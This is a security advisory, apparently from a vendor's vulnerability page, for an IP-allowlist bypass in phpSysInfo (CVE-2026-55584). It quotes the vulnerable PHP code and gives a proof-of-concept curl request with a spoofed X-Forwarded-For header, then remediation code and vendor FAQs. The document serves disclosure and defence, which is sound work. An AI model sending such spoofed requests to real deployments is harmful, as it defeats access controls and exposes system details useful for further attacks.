Summary
phpSysInfo has an IP allowlist (PSI_ALLOWED) bypass via spoofed X-Forwarded-For / Client-IP headers
phpSysInfo's PSI_ALLOWED IP allowlist can be trivially bypassed by any unauthenticated remote attacker. The access-control check in read_config.php derives the client IP from the attacker-controlled X-Forwarded-For and Client-IP HTTP headers before falling back to REMOTE_ADDR. An attacker can send X-Forwarded-For: <an allowed IP> to impersonate a trusted address and gain full access to all exposed system information, defeating the only IP-based access restriction the application provides.
Affected component
- File:
read_config.php - Versions: all versions up to and including 3.4.x (current
main)
Description
When PSI_ALLOWED is configured, read_config.php enforces an IP allowlist. The client IP is resolved as follows:
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else {
if (isset($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$ip = $_SERVER["REMOTE_ADDR"];
}
}
Both HTTP_X_FORWARDED_FOR and HTTP_CLIENT_IP are fully attacker-controlled request headers. They are trusted unconditionally and take priority over REMOTE_ADDR. There is no concept of a configured/trusted reverse proxy, so even when phpSysInfo is exposed directly (no proxy in front), the spoofed header wins. As a result the allowlist provides no real protection.
Proof of Concept
Verified against phpSysInfo 3.4.x-main-d786ab2 running in a local Docker container (php:8.2-apache).
Deployment with the allowlist (under [main]) restricted to an address the attacker does not own:
; phpsysinfo.ini ([main] section)
ALLOWED=8.8.8.8
Request without the spoofed header, correctly denied (attacker's real IP is the container gateway 172.17.0.1):
$ curl -s http://localhost:8080/xml.php | head -c 200
Client IP address (172.17.0.1) not allowed.
Request with a spoofed X-Forwarded-For matching the allowlist, bypass, full system information returned:
$ curl -s -H "X-Forwarded-For: 8.8.8.8" http://localhost:8080/xml.php | head -c 200
<?xml version="1.0" encoding="UTF-8"?>
<tns:phpsysinfo xmlns:tns="http://phpsysinfo.sourceforge.net/" ...>
The same bypass works with the Client-IP header (HTTP_CLIENT_IP), which is also trusted before REMOTE_ADDR.
Discovery / Credit
- Reported by: Muhammed Mirac Kayıkci
- Coordinated disclosure; no third-party systems were tested. Verification performed against a local Docker deployment only.
Impact
Any remote, unauthenticated attacker can defeat the PSI_ALLOWED access restriction and read the complete system information exposed by phpSysInfo, including hostname, kernel version, CPU model, memory layout, mounted filesystems, and all network interface addresses. This information is valuable for reconnaissance and targeting of further attacks.
CVE-2026-55584 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.4.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Use REMOTE_ADDR as the authoritative client IP by default. Only honor X-Forwarded-For / Client-IP when the request originates from an explicitly configured list of trusted proxies, and when honoring it, parse the correct entry from the chain rather than trusting the whole header. Example direction:
$ip = $_SERVER["REMOTE_ADDR"];
if (defined('PSI_TRUSTED_PROXIES') && in_array($ip, $trusted_proxies, true)
&& isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
// take the right-most untrusted hop from the XFF chain
$parts = array_map('trim', explode(',', $_SERVER["HTTP_X_FORWARDED_FOR"]));
$ip = end($parts);
}
Frequently Asked Questions
- What is CVE-2026-55584? CVE-2026-55584 is a high-severity security vulnerability in phpsysinfo/phpsysinfo (composer), affecting versions <= 3.4.5. It is fixed in 3.4.6.
- How severe is CVE-2026-55584? CVE-2026-55584 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of phpsysinfo/phpsysinfo are affected by CVE-2026-55584? phpsysinfo/phpsysinfo (composer) versions <= 3.4.5 is affected.
- Is there a fix for CVE-2026-55584? Yes. CVE-2026-55584 is fixed in 3.4.6. Upgrade to this version or later.
- Is CVE-2026-55584 exploitable, and should I be worried? Whether CVE-2026-55584 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55584 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55584? Upgrade
phpsysinfo/phpsysinfoto 3.4.6 or later.